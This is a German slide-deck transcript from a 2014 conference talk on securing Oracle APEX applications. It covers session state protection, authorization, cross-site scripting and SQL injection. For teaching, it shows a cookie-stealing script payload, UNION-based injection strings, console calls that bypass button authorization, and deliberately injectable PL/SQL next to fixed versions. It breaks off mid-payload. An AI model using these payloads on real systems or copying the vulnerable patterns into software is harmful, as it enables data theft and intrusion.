APEX Security wie sicher sind Ihre APEX Anwendungen? Denes Kubicek DOAG November 2014

Transkript

1 APEX Security wie sicher sind Ihre APEX Anwendungen? Denes Kubicek DOAG November

2 Denes Kubicek Um es kurz zu halten: Mein Name ist Denes Kubicek geboren 1965 in Kroatien. Ich bin seit acht Jahren selbständig und arbeite ausschließlich an APEX und PL/SQL Projekten. APEX Entwickler des Jahres Oracle ACE Director. Zu meinen Kunden zählen viele Unternehmen (bisher etwa 50) aus dem Inland und Ausland (BASF, Telekom, Bosch, Postbank, Interseroh und viele andere). Ich bin im APEX Forum tätig und habe dort über 6000 Mal gepostet. Ich habe an zwei Büchern mitgearbeitet ein Buch in Deutsch und eins in Englisch. Ich habe auch einen eigenen Blog zum Thema APEX Man kann mich jederzeit erreichen und ich antworte garantiert: 2

3 Denes Kubicek 3

4 APEX Security Über Security Bevor wir anfangen: Ich verwende meistens die englischen Namen für die APEX Komponenten. Ich rede viel und zeige nicht viele Bilder. Alles wovon ich rede ist auch aufgeschrieben. Ich zeige auch einige Beispiele in diesem Vortrag. Wenn die Zeit es erlaubt, können ich am Ende des Vortrags Ihre Fragen beantworten (weniger wahrscheinlich). Sonst bin ich auch nachher erreichbar über meine adresse und beantworte Ihre Fragen gerne: 4

5 APEX Security Über Security Wenn man über Security in APEX spricht, bedeutet das nicht, dass APEX unsicher ist und irgendwelche Sicherheitslücken hat. Solche Gerüchte werden gerne verbreitet. Die sind pauschal und unbegründet. APEX hat keine Sicherheitslücken, die man in der Öffentlichkeit bekanntmachen und dadurch punkten kann. Wie bei allen anderen Tools, die die selbe Technologie nutzen, gibt es Möglichkeiten Schwachstellen in einer Anwendung zu programmieren. Auch bei APEX sitzt das Problem Wenn es in APEX-Anwendungen Sicherheitsprobleme gibt, dann sind diese ein Ergebniss der Umstände meistens entstehen die Sicherheitslücken als Ergebniss einer Ereigniskette. Die Vorgehensweise und APEX-Wissen eines Entwicklers sind dabei von entscheidender Bedeutung. 5

6 APEX Security Über Security APEX hat in der Version 4.1 und 4.2 mehrere große Scrhitte in Richtung Sicherheit gemacht. In früheren Versionen von APEX war es z.b. möglich die sog. Hidden Items zu manipulieren. Seit der Version 4.1 ist das nicht mehr möglich. APEX ist genauso sicher, wie die Datenbank selbst. Sicherheitsmassnahmen sind keine Higlights wenn Sie Sicherheitsmassnahmen ergreifen, bekommen Sie keine sichtbaren Verbesserungen in Ihren Applikationen. Sie bekommen dafür auch kein Lob. Sie erreichen dadurch nur, dass Ihre Anwendung nicht manipuliert werden kann. Eine Anwendung is auf einer Seite nie sicher genug. Auf der anderen Seite benötigt nicht jede Anwendung braucht die gleiche Sicherheitsstufe. Auch hier gilt die 80:20 Regel. 6

7 APEX Security Session State Protection Settings für Page Items, Application Items und Seiten 7

8 Session State Protection Items in APEX sind auf einer Seite definiert or als Application Items in Shared Components. Page Items sind Form-Elemente. Man kann diese im HTML-Code einer Seite finden (text box, select list, hidden). Application Items werden nirgendwo angezeigt. Man kann diese als Server-Side-Variablen verstehen. 8

9 Session State Protection Wir können im APEX folgende Elemente im Session State schützen: Seiten Page Items (edit, display, read-only) Application Items Uns stehen fünf verschiedene Möglichekeiten zur Verfügung die Items zu schützen: Unrestricted Checksum Required: Application, Session und User Level May not be set from Browser 9

10 Session State Protection Es gibt zudem auch vier verschiedene Sicherheitsstufen für die Seiten: Unrestricted Arguments must have Checksum No Arguments allowed No URL Access 10

11 Session State Protection Nicht alle Kombinationen der Optionen machen Sinn. Restricted May not be set from browser macht viel Sinn für die Application Items. Warum? Checksum Required macht immer Sinn bei den Application Items. Checksum Required macht Sinn für die Page Items, die für die Speicherung der Key- Werte benutzt werden. No URL Acces macht Sinn für die Seiten, die nicht über die URL angesprochen werden und zuerst von den anderen Seiten aufgerufen werden müssen Wizard, Workflow 11

12 Session State Protection BITTE AUFPASSEN! Globale Einstellungen unter Shared Components / Session State Protection > Configure werden alle Items in Ihrer Anwendungen auf einmal ändern. Setzen Sie diese Einstellung bevor Sie mit der Entwicklung anfangen oder in Ihrer Template-Anwendung. 12

13 Session State Protection Schauen Sie auf die Auflistung der Application Items in ihren Anwendungen. Wenn es wie folgt ausschaut, dann haben Sie ein (mehrere) Problem(e). Und mit aller Wahrscheinlichkeit sieht es danach aus. :) 13

14 Session State Protection Benutzen Sie die APEX Dictionary Views, um den Status abzufragen (und bitte nicht erschrecken) : SELECT application_id, page_id, item_name, display_as, item_protection_level FROM apex_application_page_items WHERE display_as = 'Hidden' ORDER BY page_id; SELECT application_id, item_name, scope, session_state_protection FROM apex_application_items; 14

15 APEX Security Session State Protection API URL s in SQL 15

16 Session State Protection API Fall Sie manchmal Ihre URL s in SQL oder PL/SQL erstellen müssen, steht Ihne die APEX API zur Verfügung (APEX_UTIL). Wir sprechen hier von dynamischen URL s. apex_util.prepare_url API wird eingesetzt, um dynamische und geschützte URL s mit einer Prüfusumme zu generieren. Diese Funktion kennt drei Methoden: SESSION oder 3, PRIVATE_BOOKMARK oder 2, PUBLIC_BOOKMARK oder 1 APEX_UTIL.PREPARE_URL ( p_url IN VARCHAR2, p_url_charset IN VARCHAR2 default null, p_checksum_type IN VARCHAR2 default null) RETURN VARCHAR2; 16

17 Session State Protection API Sie können die APEX API wie folgt anwenden: CREATE OR REPLACE FUNCTION prepare_apex_url ( p_client_sk IN NUMBER, p_bcn_sk IN NUMBER ) RETURN VARCHAR2 IS v_url_prefix VARCHAR2 (400) := tools.get_optionvalue ('SERVER_URL'); v_app NUMBER := v ('APP_ID'); v_session NUMBER := v ('APP_SESSION'); v_url VARCHAR2 (4000) := 'f?p=' v_app ':302:' v_session '::NO:302:T_CLIENT_SK,P302_BCN_SK:' p_client_sk ',' p_bcn_sk ''; BEGIN v_url := apex_util.prepare_url (p_url => v_url, ); v_url := v_url_prefix v_url; RETURN (v_url); END get_contract_link; p_checksum_type => 'PUBLIC_BOOKMARK' 17

18 Session State Protection API APEX ist so schlau und erkennt ob eine Zielseite entsprechend geschützt ist. Die Erstellung der Prüfusumme wird entsprechend aktiviert oder deaktiviert. Gilt für beide Einstellungen Standardeinstellung oder dynamische URL s. 18

19 APEX Security Hidden Items / Display Only Items / Read Only Items 19

20 Hidden Items (Display- und Read-Only) Ein guter Schutz für die Hidden Items erschien in der APEX Version 4.0. Davor war es möglich Hidden Items zu manipulieren da Expected Checksum in der Fehlermeldung ausgegeben wurde. Ein zusätzlicher Schutz kam mit der Version 4.1 für die: Display Only Items Conditional Read Only Items Seitdem gibt es die Möglichkeit Save Session State für Display Only Items zu setzen. Read Only ist dagegen wie die Bezeichnung sagt Read Only. 20

21 Hidden Items (Display- und Read-Only) Viele Anwendungen laufen nach einem Upgrade von 4.0 auf 4.1 nicht mehr richtig. Häufig sind das folgende Probleme: Session Management (Join Session), Dynamic Actions, die Display Only und Read Only Items ansprechen, Verschiedene Plugins laufen nicht, die für die früheren Versionen von APEX ausgerichtet waren. Display Only muss die Option Save Session State auf No gesetzt haben. Keine Möglichkeit Read Only Items zu manipulieren und anschließend speichern. Der Schutz der Items läuft wie folgt ab: Beim Aufruf der Seite wird für ein Item eine Prüfsumme generiert und in der Datenbank gespeichert. Beim Speichern der Seite wird eine neue Prüfsumme erstellt und mit der ursprünglichen verglichen. Gibt es dabei Unterschiede, wir eine unschöne Fehlermeldung angezeigt. 21

22 Hidden Items (Display- und Read-Only) Fehlermeldung beim Versuch geschützte Elemente zu manipulieren: 22

23 Validierungen und Item Protection In der Natur der Web-Anwendungen liegt die Tatsache, dass der Benutzer-Input zuerst geprüft werden muss, da man ihm generell nicht trauen kann. Wenn es eine Interaktion der Benutzer mit einer Webseite gibt, müssen die Daten, die gespeichert werden sollen zuerst validiert werden (Formate, Inhalte). Teoretisch, müssen gar keine Standardmechanismen von APEX eingesetzt werden, um sichere Anwendungen zu programmieren. Wenn die Validierung der Daten und der Interaktion gut genug ist, ist auch eine Anwendung sicher. 23

24 Validierungen und Item Protection Viele Tools, die nicht so gut mit Standardmechanismen ausgestattet sind, müssen alles validieren. Trotzdem, in APEX ist dies nicht notwending, da für fast alles bereits Standardkomponenten existieren. 24

25 Validierungen und Item Protection Hidden Items haben eine Einstellung Value Protected. Die Hilfe für diese Einstellung erklärt es: Specifying Yes will prevent the hidden value from being manipulated when the page is posted. Hidden Items wird somit nach einem Post vom Server geprüft und somit wird sichergestellt, dass es keine Manipulation gibt. Das gilt auch für die Dynamic Actions, die versuchen Hidden Items in Session State abzuspeichern. 25

26 Validierungen und Item Protection Trotzdem, diese Einstellungen verhindern die Manipulation der Items durch die Änderungen in der URL URL tampering: f?p=1116:3: ::no::p3_bp_id:300 Wenn wir das Item auf diese Art und Weise setzten, wird eine Prüfsumme ganz normal generiert und auf der Seite im HTML Code gespeichert. Sollte die Seite abgespeichert werden, werden die Informationen von APEX akzeptiert. Möglicherweise mit falschen Werten oder Werten, die nicht erlaubt sind. 26

27 Validierungen und Item Protection Deswegen, müssen wir immer beachten, dass der Schutz Value Protected ein besonderer ist: Es erlaubt keine Manipulation der Form vor dem Speichern der Werte. Somit macht es Sinn diesen Mechanismus in der Kombination mit den anderen Möglichkeiten, die uns zur Verfügung stehen z.b. Session State Protection. 27

28 APEX Security Page Access Protection 28

29 Page Access Protection Page Access Protection Einstellungen in dem Security Tab kann auf verschiendene Stufen gesetzt werden, je nach dem, wie wir unsere Seite schützten müssen. Default ist auf Unrestricted gesetzt. 29

30 Page Access Protection Sowohl die Page Items als auch die Application Items haben eine Option für den Schutz Session State Protection. Session State Protection (SSP) ist der Weg die Items in einer Anwendung zu schützen. Das ist ein wenig schwieriger zu verstehen, da dieser Schutz zusammen mit Page Access Protection und Value Protected genutzt werden muss, um zum Ziel zu kommen. Nur so, kann der komplette Schutz aber erreicht werden. Um zu verstehen, welchen Schutzt man wann benötigt, müssen die Items in Gruppen aufgeteilt werden: Server-side Items (Application Items) User-input Items (benutzt in einer form Form für User-Input) Display Items (Items die wir dann einsetzen, wenn wir etwas anzeigen möchten) Items die wir dafür benutzen, um Informationen zu speichern und diese auf den anderen Seiten / Prozessen benutzen 30

31 Page Access Protection Wichtig zu wissen: Session State Protection hindert die PL/SQL Prozesse auf der Server-Seite nicht von der Änderung. Unsere Programmlogik wird weiterhin funktionieren. Dieser Schutzt ist nur dafür da, um uns vor der Manipulation über Browser zu schützen! 31

32 APEX Security AJAX (Dynamic Actions) und Item Protection 32

33 AJAX und Item Protection Wenn Session State Protection aktiviert und gesetzt ist für alle Items, die es erfordern, und Ihre Hidden Items gut geschützt ist durch den Schutz der Hidden Items, die Anwendung hat einen sehr guten Stand bezüglich Sicherheit erreicht und ist wahrscheinlich schon sehr gut gegen Manipulation geschützt. Nun, dieser Schutz verursacht ein potenzielles Problem: wenn Ajax angewendet wird, um die Werte der Items auf der Seite zu setzen. Ajax-Aufrufe werden die Session State Protection verletzen und wir bekommen häßliche Fehlermeldungen zu sehen, da es nicht möglich ist über Ajax den Session Stete für geschützte Elemente zu setzen Get or Post. Uns bleibt dann nur noch dre Weg solche Items auf Unprotected zu setzen. Wenn wir das tun, müssen wir gleichzeitig daran denken, zusätzliche Schutzmechanismen in unserer Anwendung einzubauen. 33

34 AJAX und Item Protection Fehlermeldung beim Versuch Session State durch Ajax zu setzen: 34

35 APEX Security Beispiele der Sicherheitslücken im Bezug auf Session State Protection und Items 35

36 Beispiele der Sicherheitslücken Authorization Bypass URL Tampering Dynamic Action Bypass und Manipulation des Page Source Code File Download (public Link und Application Process) 36

37 Beispiele der Sicherheitslücken Authorization Bypass entsteht (wie alle anderen Sicherheitslücken) unter bestimmten Umständen. 37

38 Beispiele der Sicherheitslücken Da wir die Information für die Authorizierung in einem Application Item speichern, der nicht ausreichend geschützt ist, kann der Wert jederzeit angepasst werden. 38

39 Beispiele der Sicherheitslücken URL Tampering ist der häufigste Weg und die einfachste Möglichkeit sich Informationen zu verschaffen, die möglicherweise geschützt bleiben sollten. Dieser Bericht sollte nur ein Teil der Information an den Benutzer liefern. 39

40 Beispiele der Sicherheitslücken Wenn unsere Benutzer Forschungstypen sind, werden Sie früher oder später merken, wie leicht es ist ein URL Link zu manipulieren. Vergessen Sie bitte nicht, dass heute für solche Attacken und Suche nach Schwachstellen Maschienen eingesetzt werden, die keine Geduld haben müssen. 40

41 Beispiele der Sicherheitslücken Dynamic Action Bypass und Manipulation des Page Source Code 41

42 Beispiele der Sicherheitslücken Dieser Bericht zeigt ebenfalls nur ein Teil der Informationen. Die Werte werden über eine Dynamic Action gelöscht. Da die Werte im HTML Code der Seite jederzeit modifiziert werden können, kann ein beliebiger Wert eingetragen werden. Wenn der Löschprozess (PL/SQL) nicht ausreichend geschützt wurde, kann es dazu kommen, dass Informationen gelöscht werden könenn, die der Benutzer nicht löschen darf. 42

43 Beispiele der Sicherheitslücken Das Gleiche gilt auch für Download der Files in einer Anwendung. Publich Procedure ist sehr unsicher und sollte nicht genutzt werden. Anwendungsprozess ist der richtige Wege. Dort muss der Application Item, der für die Vermittlung der ID zuständig ist, ausreichend geschützt werden. In 95% der Fälle ist das nicht so. Prüfen Sie das selbst in Ihren Anwendungen. 43

44 APEX Security Page und Regions Read Only 44

45 Page und Regions Read Only Seit APEX 4.1 kann man für Seiten oder Regionen Read Only Modus einsetzen. Bedeutet, dass nicht nur einzelne Items sonder auch Seiten bzw. Regionen als Read Only angezeigt werden können. Das ist der einfachere Weg und spart die Zeit. Nun, die Wahrheit liegt irgendwo dazwischen. Wir werden meistens nicht alles auf der Seite gleich behandeln. Auch innerhalb einer Region werden nicht alle Items in Read Only Modus gesezt. Hier hilft die Möglichkeit Regionen ineinander zu verschachteln und simit die Items zu grupieren. 45

46 Page und Regions Read Only Bevor Sie solche Anwendungen zu Ihren Usern schicken, prüfen Sie die Auswirkungen auf das Layout. APEX wird ein Standard-Layout nutzen, wenn Sie die Items auf Read Only setzen. Das wird nicht immer dem entsprechen, was Sie erwarten. Sie können relativ leicht und jederzeit jquery und CSS einsetzen, um es schnell soweit zu bringen. Wichtig! Wenn ein Item auf Read Only gesetzt ist, wird APEX ein SUFFIX _DISPLAY dem Item hinzufügen und ein neues geschütztes und verstecktes Item auf der Seite erstellen. 46

47 Page und Regions Read Only jquery für das Ändern der Attribute eines bestimmen Elements: CSS für die Seite 0:.display_only {font-weight:bold; color: #ccc; display: block; width: 200px} Andere Methoden generisch: $('#P3_BP_DESC_DISPLAY').attr("readonly","readonly").css({"fontweight":"bold","color":"#ccc","display":"block","width":"200px"}) $('[id*=_display]').css({"fontweight":"bold","color":"#ccc","display":"block","width":"200px"}) $('.display_only').css({"fontweight":"bold","color":"#ccc","display":"block","width":"200px"}) 47

48 Page und Regions Read Only 48

49 APEX Security No URL Access for Pages wie schütze ich eine Seite vor URL Manipulation? 49

50 No URL Access for Pages In manchen Situationen benötigen wir einen besonderen Schutz für unsere Seiten. Für diese Zwecke ist No URL access unter Security Page Access Protection da. Wenn wir es anwenden, ist es nicht mehr mögich durch die Änderung der Seitennummer auf die Seite zu gelangen. 50

51 No URL Access for Pages Wenn wir es versuchen, bekommen wir folgende Meldung. 51

52 No URL Access for Pages Der einzige Weg auf die Seite zu kommen ist über Branch to Page ohne Redirect. 52

53 No URL Access for Pages Wenn wir auf die Seite kommen, werden wir einen Unterschied im URL Link sehen. 53

54 No URL Access for Pages APEX Builder benutzt dieses Vorgehen in den Wizards. 54

55 APEX Security Browser Security Embeded in Frames 55

56 Embeded in Frames Seit der Version APEX 4.2 ist es notwendig die Option Embeded in Frames explizit zu aktivieren, da sonst manche Plugins, die als Frames angezeigt werden, nicht mehr funktionieren Modal Window Plugin. 56

57 Embeded in Frames APEX wird sonst die Anzeige von Frames standardmäßig ablehnen. Diese Funktion hat drei Optionen: Deny Allow from the same origin Allow 57

58 APEX Security Delay after failed login 58

59 Delay after failed login Das ist ein neues Feature und es ist dafür da, um uns gegen die maschinellen Attacken zu schützen. Nach dem ein Login ohne Erfolg durchgeführt wurde, wir der nächste Versuch um die einstellbare Anzahl der Sekunden verzögert. Bei jedem weiteren Versuch, werden die Sekunden darauf addiert. INTERNAL / ADMIN > Instance Settings / Security. 59

60 Delay after failed login Die Methode für die Ermittlung der Verzögerung kann auch gewählt werden. 60

61 APEX Security Deep Linking 61

62 Deep Linking APEX unterstützt Deep-Linking als Default. Möglicherweise benötigen Sie dieses Feature nicht und wollen es deaktivieren? Dann kann dies unter Application Definition > Security gemacht werden. Wenn die Einstellung nicht generell gelten soll, kann auf der Seitenebene eine Ausnahme definiert werden. Häufig werden Anwendungen so programmiert: Der Benutzer logt sich ein. Wird auf eine Seite geleitet. Dort werden bestimmte Parameter gesetzt und da geht es schon los. 62

63 Deep Linking Wenn Sie nach dem Login bestimmte Parameter in einer Anwendung setzen müssen, benutzen Sie Application Processes oder noch besser Post-Login Processing. Tun Sie das nie auf der Seitenebene. Durch das Deep Linking ist es nicht sichergestellt, dass Ihre Benutzer dort landen, wo Sie sie haben möchten. 63

64 Deep Linking Anwendungsebene und : 64

65 Deep Linking definierte Ausnahmen auf der Seite: 65

66 APEX Security Session Timeout 66

67 Session Timeout Session Timeout ist ein wichtiges Security Feature. Seit APEX (4.1und 4.2) kann dies auch auf der Anwendunsebene gesetzt werden. Wenn Sie nichts setzen, werden globale Einstellungen gezogen. Das Ziel ist es die Daten und die Benutzer zu schützen. Das wichtigste Feature ist Maximum Session Idle Time in Seconds das dann zieht, wenn keine Aktivitäten in der Session stattfinden. 67

68 Session Timeout Globale Einstellungen: 68

69 Session Timeout Lokale Einstellungen: 69

70 APEX Security Session State Encryption 70

71 Session State Encryption Ebenfalls seit 4.2 kann Session State Encryption eingesetzt werden: Kreditkarten Andere sensible Daten Identisch mit der Anzeige der Passwörter. Gültig nur für die Session State Werte. Die Daten in der Tabelle sind immer noch unverschlüsselt. Wichtig dann, wenn Entwickler Debugging über eine produktive Session durchführen. 71

72 Session State Encryption Diese Einstellung kann in den Item Einstellungen > Security > Store value encrypted in session state gesetzt werden. 72

73 Session State Encryption Und so sieht es aus, wenn man die Werte in Session State anschaut. 73

74 APEX Security Authentication und Authorization 74

75 Authentication und Authorization Wenn wir Authentifizierung und Authorizierung nicht richtig angewendet wurde, ein Benutzer ohne der entsprechenden Rechten kann auf die Seiten / Daten gelangen, die für ihn nicht vorgesehen sind. Auch registrierte Benutzer (die Böses wollen) können bestimmte Prozesse ausführen und dadurch Daten ausspähen oder vernichten. Eine APEX Anwendung wächst mit der Zeit das ist meistens der Fall. Häufig müssen gewisse Erweiterungen schnell umgesetzt werden und dabei wird Sicherheit nicht sonderlich beachtet. 75

76 Authentication und Authorization Authentifizierung wird auf der Seitenebene eingerichtet. Standardmäßig ist eine neue Seite auf Page Requires Authentication eingestellt. Sollte eine Seite Public sein, muss dies explizit eingerichtet werden. 76

77 Authentication und Authorization Diese Einstellung sagt nur, ob ein User sich anmelden muss (Username / Passwort), um auf die Seite kommen zu können. Wenn dies nicht erforderlich ist, sprechen wir von einer Public-Seite. Normalerweise, erfordert eine Anwendung nur eine Public-Seite die Loginseite. Wenn wir mehrere haben ist das auch kein Problem, solange diese Seiten tatsächlich nur Informationen und Prozesse beinhalten, die für die Öffentlichkeit zugänglich sein sollten. Wir wissen, dass man die Seiten in APEX relativ leicht ermitteln kann. Eine Maschine kann dies sehr schnell durchführen und herausfinden, wie viele Public-Seiten wir in der Anwendung haben, um diese dann für einen mögichen Angrif zu nutzen. Somit gilt das Verstecken der Seiten nicht als eine Option. Wenn wir die Anzahl der Public-Seiten reduzieren, reduzieren wir auch die Angrifsfläche. 77

78 Authentication und Authorization Authentifizierung ist nur der erste Schritt in Sachen Sicherheit. Und das Leben ist kompliziert. Nach der Authentifizierung müssen wir prüfen, ob ein registrierter Benutzer die entsprechende Rechte hat eine oder die andere Funktionalität unserer Anwendung zu nutzen. Es gibt kaum Anwendungen, die nicht zwischen den Benutzern unterscheidet. In APEX ist das Authorizierung, die sehr leicht an alle Komponenten (Seiten, Items, Buttons, Prozesse) angehängt werden kann. Manchmal muss man sogar die Authorisierung mit der Option Once per Page View nutzen, weil sich die Daten im Laufe einer Session ändern können. 78

79 Authentication und Authorization Gleichzeitig müssen wir auch an die Performance denken. Eine Authorisierung Once per Session auszuführen is performanter. Manchmal muss eine Authorisierung auch im PL/SQL oder SQL Code geprüft werden. In diesem Falle hilft uns die APEX API, die uns die gecachten Werte liefern kann: BEGIN RETURN apex_util.public_check_authorization ('ADMIN'); END; 79

80 Authentication und Authorization Häufig anzutreffen ist der Fall, dass wir auf einer Seite Prozesse haben, die durch ein Button angestoßen werden. Diese Prozesse müssen in den meisten Fällen von authorisierten Benutzern ausgeführt werden. In den meisten Fällen (das können Sie auf Ihren eigenen Anwendungen prüfen), dass nur die Buttons authorisiert werden. Da die Buttons nichts weiter als Requests sind, ist dieser Schutz nicht ausreichend. Ein Button-Request kann man leicht im Browser simulieren. 80

81 Authentication und Authorization Wenn ein Button authorisiert ist, die Erstellung / Änderung der Daten ist immer noch möglich, wenn der dazugehörige Prozess nicht geschützt ist. Dieser Schutz müsste entweder durch eine Authorisierung oder duch eine Validierung erfolgen. Im Browser kann ein Button wie folgt simuliert werden: apex.submit('create') 81

82 Authentication und Authorization Das einzige Problem für einen Angreifer hier ist, dass er raten müsste, wie die ID des Buttons ist. Das ist meistens aber nicht schwierig zu erraten. Im Code ist das natürlich nicht sichtbar. Wir können uns also auf diesen Fakt nicht verlassen, da man durch die möglichen Namen einfach loopen kann und früher oder später findet man es heraus. 82

83 Authentication und Authorization Ein ähnlicher Angriff auf die Dynamic Actions ist ebenfalls möglich. Das Verstecken eines Elements, dass die Dynamic Action antriggert sichert die Anwendung nicht vor einem Angriff. Eine Dynamic Action die durch eine Authorisierung gesichert ist, bedeutet dass Javascript für die Ausführung nicht auf der Seite gerendert wird. Auch wenn dieser Code irgendwie erraten und geschrieben werden könnte ist das immer noch nicht einfach, da eine Dynamic Action durch einen komplexen String identifizierte werden müsste: "ajaxidentifier":"bb c755bb6d3513bced15de7e2bc8dc660b3e30ec 2BBCBDC2A67F8CE3 Dieser Wert wird durch den sog. Advanced Encryption Standard (AES) Algorithmus erstellt bei dem der Schlüsselwert vom Server verwaltet werden. 83

84 Authentication und Authorization Das Verstecken der Elemente hilft bei einer Dynamic Action ebenfalls nicht: $('#P3_BP_IS_SUPPLIER').trigger('change'); 84

85 Authentication und Authorization Nicht nur die Seiten-Prozesse und Dynamic Actions müssen entsprechend geschützt werden. Berechnungen (Computations), Anwendungsprozesse und On Demand-Prozesse müssen ebenfalls abgesichert werden. Ein On Demand Prozess kann leicht durch die URL agesprochen werden: f?p=1600:1:0:application_process=printuserroles::: 85

86 Authentication und Authorization Wir können in der Console auch ein Ajax-Aufruf starten: var get = new htmldb_get(null, $x('pflowid').value, 'APPLICATION_PROCESS=PrintUserRoles',$x('pPageId').value); get.get(); 86

87 Authentication und Authorization Manche APEX Anwendungen könnten ungeschützte On Demand Prozesse haben, die Benutzeraccounts listen, s senden or sogar PL/SQL Code beinhalten, der für die SQL Injection genutzt werden kann. Dadurch könnten potenzielle Angreifen die Kontrolle über eine Datenbank ergreifen. Die Lösung ist denkbar einfach wir müssen sicherstellen, dass alle Prozesse in unserer Anwendung entsprechend mit einer Authorisierung geschützt werden. 87

88 APEX Security Authorization / Security and Performance 88

89 APEX Security Cross Site Scripting und Restricted Characters in Session State 89

90 Cross Site Scripting Cross Site Scripting bedeutet Ausführung von unerwünschtem Javascript auf der Client-Seite. Besonders gefährlich wenn Session Cookies als Zielobjekt. <script>window.location = ' + document.cookie;</script> 90

91 Cross Site Scripting Cross Site Scripting ist einfacher als man denkt. Es gibt generell zwei Arten davon: Reflective Cross-Site Scripting (Benutzer muss einen Link aufrufen) Stored Cross-SiteScripting Stored Cross-SiteScripting ist für uns besonders interessant. Damit das möglich ist, muss der Angreifer Informationen speichern können, die in Form von Javascript geschrieben werden. Diese Informationen sind dann gefährlich, wenn auf der Seite ohne Escaping angezeigt werden. 91

92 Cross Site Scripting Was kann man damit anstellen? Eine gefälschte Loginseite dem Benutzer anzeigen und ihn dazu bringen, sein Benutzername / Passwort einzutippen. Seine Berechtigungen missbrauchen. Den Browser des Opfers dazu zu bringen Informationen ( s) an andere Kontakte zu schicken. Diese Informationen könnten gefälschte Links beinhalten. Den Benutzer weiterleiten auf eine gefälschte Seite, die genauso ausschaut, wie die Originalseite. Danach ist alles möglich. 92

93 Cross Site Scripting APEX 4.0 hat deswegen die Anzeige der Spalten im Report von Standard to Display as Text (escape special characters) geändert. So wird zumindest im Default das Cross Site Scripting unmöglich gemacht gilt nicht für die älteren Anwendungen. Wenn Sie die Möglichkeiten des Cross Site Scriptings komplett unterbinden möchten, müssen Sie etwas in der Richtung der Datenspeicherung unternehmen. Die Struktur des APEX Frameworks bietet an sich nicht so viel Fläche für solche Angriffe, da das Meiste durch die automatische Generierung des Codes erstellt wird. Das ist in anderen Frameworks nicht so. Nur dort, wo Entwickler ihren eigenen Code scrheiben, muss eine Kontrolle durchgeführt und sichergestellt werden, dass wir keine Schwachstellen haben. 93

94 Cross Site Scripting Seit der APEX Version 4.2 können wir Restricted Characters in Session State für die Seitenelemente nutzen. Wir haben einige Optionen: Alphanummeric Characters Only Blacklist for HTML Blacklists for Javascript Blacklists for SQL Injection Es gibt aber keine einfache Lösung (Knopf) mit dem wir sicherstellen, dass keine solche Schwachstellen entstehen. 94

95 Cross Site Scripting 95

96 Cross Site Scripting 96

97 Cross Site Scripting In APEX Version 4.2, gibt es auch die API apex_escape Package, die uns verschiedene Methoden für Escaping anbietet: html(): ähnlich wie htf.escape_sc() html_attribute(): für Tag-Attribute. js_literal(): Escaping für JavaScript Benutzen Sie diese Funktionen je nach dem wie der Kontext der Nutzung der Daten ist. 97

98 Cross Site Scripting SELECT apex_escape.html ('TEST><&') new_42_escape FROM DUAL UNION ALL SELECT apex_escape.html_attribute ('TEST><&') new_42_escape FROM DUAL UNION ALL SELECT apex_escape.js_literal ('TEST><&') new_42_escape FROM DUAL; 98

99 Cross Site Scripting 99

100 APEX Security SQL Injection 100

101 SQL Injection APEX Anwendungen haben zum Teil sehr viel PL/SQL Code. Datenbankabfragen werden im Hintergrund dafür genutzt, um den Inhalte einer Webseite aus der Datenbak zu holen ähnlich zu allen anderen Frameworks. Das Problem it SQL Injection ist, dass die Daten bzw. Abfragen, die von einem Angreifer manipuliert wurden, von der Datenbank als valide Instruktionen interpretiert werden. Ein Angreifer könnte somit eine Kommunikation mit der Datenbank aufstellen, die zu Problemen fürhen könnte. 101

102 SQL Injection Wo kann SQL Injection in APEX stattfinden: Dynamic SQL Execute Immediate Dynamic SQL Cursors Dynamic SQL APEX API Function Returning SQL Query Substitution Variables 102

103 SQL Injection Dynamic SQL Execute Immediate This example is on the Page 11 in the Security Application: DECLARE v_sql VARCHAR2 (4000); BEGIN v_sql := 'BEGIN DELETE FROM om_suppliers_bkp; ' 'INSERT INTO om_suppliers_bkp (bp_id, bp_title, bp_sap_no, bp_desc) SELECT bp_id, bp_title, bp_sap_no, bp_desc FROM om_suppliers_v WHERE 1 = 1 AND UPPER(bp_title) = ' CASE WHEN :p11_search IS NULL THEN 'UPPER (bp_title)' ELSE '''' UPPER (:p11_search) '''' END; v_sql := v_sql '; END;'; EXECUTE IMMEDIATE (v_sql); END; 103

104 SQL Injection The Process On Load is supposed to select the list of suppliers and show it in a report: 104

105 SQL Injection The SQL Injection kann wie folgt ausgeführt werden: %' UNION ALL SELECT pcat_id bp_id, pcat_title bp_title, pcat_code bp_sap_no, pcat_pt_code bp_desc FROM om_prod_categories; END;

106 SQL Injection Der Prozess On Load wird ganz andere Daten selektieren und diese in dem Report anzeigen: 106

107 SQL Injection Die Lösung ist in dieser Funktion markiert: DECLARE v_sql VARCHAR2 (4000); BEGIN v_sql := 'BEGIN DELETE FROM om_suppliers_bkp; ' 'INSERT INTO om_suppliers_bkp (bp_id, bp_title, bp_sap_no, bp_desc) SELECT bp_id, bp_title, bp_sap_no, bp_desc FROM om_suppliers_v WHERE 1 = 1 AND UPPER(bp_title) = ' CASE WHEN :p11_search IS NULL THEN 'UPPER (bp_title)' ELSE 'UPPER (:search)' END; v_sql := v_sql '; END;'; IF :p11_search IS NULL THEN EXECUTE IMMEDIATE v_sql; ELSE EXECUTE IMMEDIATE v_sql USING :p11_search; END IF; END; 107

108 SQL Injection Function Returning SQL. Die Funktion sollte eine SQL Query zurückliefern, die die Liste der Supplier anzeigt: DECLARE v_query VARCHAR2 (4000); BEGIN v_query := 'SELECT bp_id, bp_title, bp_sap_no, bp_desc FROM om_suppliers_v WHERE 1 = 1 AND UPPER(bp_title) = ' CASE WHEN :p10_search IS NULL THEN 'UPPER (bp_title)' ELSE '''' UPPER (:p10_search) '''' END; RETURN (v_query); END; 108

109 SQL Injection The SQL Injection kann wie folgt ausgeführt werden: %' UNION ALL SELECT prod_id bp_id, prod_title bp_title, prod_pt_code bp_sap_no, prod_valid bp_desc FROM om_products

110 SQL Injection Der Bericht wird dann die Produkte aus einer ganz anderen Tabelle anzeigen und nicht die Supplier-Liste: 110

111 SQL Injection Die Lösung ist im PL/SQL Block rot markiert: DECLARE v_query VARCHAR2 (4000); BEGIN v_query := 'SELECT bp_id, bp_title, bp_sap_no, bp_desc FROM om_suppliers_v WHERE 1 = 1 AND UPPER(bp_title) = ' CASE WHEN :p10_search IS NULL THEN 'UPPER (bp_title)' ELSE 'UPPER (' dbms_assert.enquote_literal (:p10_search) ')' END; RETURN (v_query); END; 111

112 SQL Injection Substitution String Die PL/SQL Expression für das Element P12_SEARCH sollte eine einfache Meldung auf der Seite anzeigen. 112

113 SQL Injection Wenn wir aber die Meldung wie folgt modifizieren: Test');apex_util.json_from_sql('SELECT * FROM om_prod_prices WHERE pri_price >

